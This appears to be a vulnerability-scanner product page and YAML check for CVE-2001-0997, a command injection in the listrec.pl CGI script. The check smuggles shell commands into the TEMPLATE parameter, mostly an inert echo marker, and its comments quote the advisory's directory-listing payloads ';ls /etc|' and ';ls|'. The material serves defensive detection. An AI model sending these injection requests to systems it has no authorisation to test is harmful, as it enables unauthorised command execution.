Textor Listrec — 1 vulnerability check

noctis ships 1 vulnerability check for Textor Listrec, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Textor Webmasters listrec.pl TEMPLATE Command Execution

CVECVE-2001-0997
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/textor-listrec/CVE-2001-0997.yaml

Detects unauthenticated command execution in listrec.pl, a Perl CGI by Textor Webmasters Ltd (CVE-2001-0997). The script hands its TEMPLATE parameter to the shell without filtering, so a value such as `;<command>|` runs <command> as the web server user and prints its output in the page. The feed requests listrec.pl under /cgi-bin/common, /cgi-local, /cgi_bin, /cgi-bin and the web root with APP=qmh-news&TEMPLATE=;echo NOCTIS`expr a - b`| (per-run random numbers), then, if the script answered without the marker, the same command written with $((a-b)). It reports only when the page contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/listrec.pl?APP=qmh-news&TEMPLATE=;echo%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.…
  3. Checks inj.banner for NOCTIS → finding QoD 97: listrec.pl command execution confirmed via GET …/listrec.pl?APP=qmh-news&TEMPLATE=;echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a d…
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/listrec.pl?APP=qmh-news&TEMPLATE=;echo%20NOCTIS%24%28%28{{ov.a}}-{{ov.b}}%29%…
  5. Checks inj2.banner for NOCTIS → finding QoD 97: listrec.pl command execution confirmed via GET …/listrec.pl?APP=qmh-news&TEMPLATE=;echo NOCTIS$((…-…))|: the shell printed NOCTIS… (a diffe…

References:

Feed source — tests/vulnerabilities/textor-listrec/CVE-2001-0997.yaml
# Textor Webmasters listrec.pl `TEMPLATE` command execution (CVE-2001-0997, BID 3328, CERT VU#711491)
#
# Credit: target paths and request shape adapted from Greenbone's
# `pre2008/listrec.nasl` (GPL-2.0-only), which sends
# GET <dir>/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc| for "/",
# /cgi-bin/common, /cgi-local, /cgi_bin and the CGI dirs, and reports when the
# reply contains "resolv.conf" (a file name the injected `ls /etc` lists).
# Advisory (Bugtraq 2001-09-12, A. Sintsov):
#   www.server.com/cgi-bin/common/listrec.pl?APP=qmh-news&TEMPLATE=;ls|
#
# Root cause: listrec.pl passes the TEMPLATE value to the shell unfiltered
# (CERT: "This value is passed to a shell"); a value of `;<command>|` runs
# <command> as the web server user and its output lands in the page.
#
# This feed keeps the source's locations and its `;…|` pipe, with the command
# changed to an inert computed marker:
#   1. TEMPLATE=;echo NOCTIS`expr <a> - <b>`|   (backticks + expr: every Bourne shell)
#   2. TEMPLATE=;echo NOCTIS$((<a>-<b>))|       (only when 1 gave no marker and the
#                                                script answered: a system without expr)
# a = 7-digit, b = 6-digit per-run random ints. The difference never appears in
# the request, so a page that reflects or strips the value cannot produce it.
# `-` rather than `+`: CGI query decoding turns `+` into a space.
#
# Better than the source check: no directory listing is read, and its
# "resolv.conf" marker also matches any page that happens to name that file
# (e.g. an error page reflecting a URL, or a documentation page): false
# positive. Here only real shell execution yields the marker.
uid: 3a96e732-1ec7-4666-acf3-95553a52908c
name: "Textor Webmasters listrec.pl TEMPLATE Command Execution (CVE-2001-0997)"
description: |
  Detects unauthenticated command execution in listrec.pl, a Perl CGI by
  Textor Webmasters Ltd (CVE-2001-0997). The script hands its TEMPLATE
  parameter to the shell without filtering, so a value such as `;<command>|`
  runs <command> as the web server user and prints its output in the page.
  The feed requests listrec.pl under /cgi-bin/common, /cgi-local, /cgi_bin,
  /cgi-bin and the web root with
  APP=qmh-news&TEMPLATE=;echo NOCTIS`expr a - b`| (per-run random numbers),
  then, if the script answered without the marker, the same command written
  with $((a-b)). It reports only when the page contains NOCTIS followed by the
  computed difference, which only real shell execution can produce. Nothing is
  read or written on the target.
cves: [CVE-2001-0997]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [textor, listrec, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0997"
  - "https://seclists.org/bugtraq/2001/Sep/132"
  - "https://kb.cert.org/vuls/id/711491"
  - "http://www.securityfocus.com/bid/3328"

steps:
  # a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(5000000, 9999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, diff: "" + (a - b) }
    store_as: ov

  # ── Per location (the reference check's dirs + /cgi-bin): this step and every following one ──
  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init-expr
    action: set_var
    var_name: inj
    var_value: {connected: false, banner: null}
    loop:
      over:
        - "/cgi-bin/common"
        - "/cgi-bin"
        - "/cgi-local"
        - "/cgi_bin"
        - ""
      var: dir

  - id: init-arith
    action: set_var
    var_name: inj2
    var_value: {connected: false, banner: null}

  # TEMPLATE=;echo NOCTIS`expr a - b`|
  - id: inject-expr
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/listrec.pl?APP=qmh-news&TEMPLATE=;echo%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.b}}%60| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj

  - id: confirm-expr
    action: match
    source: inj.banner
    pattern: "NOCTIS"
    condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "listrec.pl command execution confirmed via GET {{dir}}/listrec.pl?APP=qmh-news&TEMPLATE=;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the page"
      stop: true

  # TEMPLATE=;echo NOCTIS$((a-b))| — only when the script answered (not 404) without the marker.
  - id: inject-arith
    action: tcp_connect
    condition: "type_of(inj.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] \", inj.banner) && !ereg(\"^HTTP/1\\\\.[01] 404\", inj.banner)"
    port: "{{port}}"
    send: "GET {{dir}}/listrec.pl?APP=qmh-news&TEMPLATE=;echo%20NOCTIS%24%28%28{{ov.a}}-{{ov.b}}%29%29| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj2

  - id: confirm-arith
    action: match
    source: inj2.banner
    pattern: "NOCTIS"
    condition: "type_of(inj2.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj2.banner)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "listrec.pl command execution confirmed via GET {{dir}}/listrec.pl?APP=qmh-news&TEMPLATE=;echo NOCTIS$(({{ov.a}}-{{ov.b}}))|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the page"
      stop: true

View these feeds on GitHub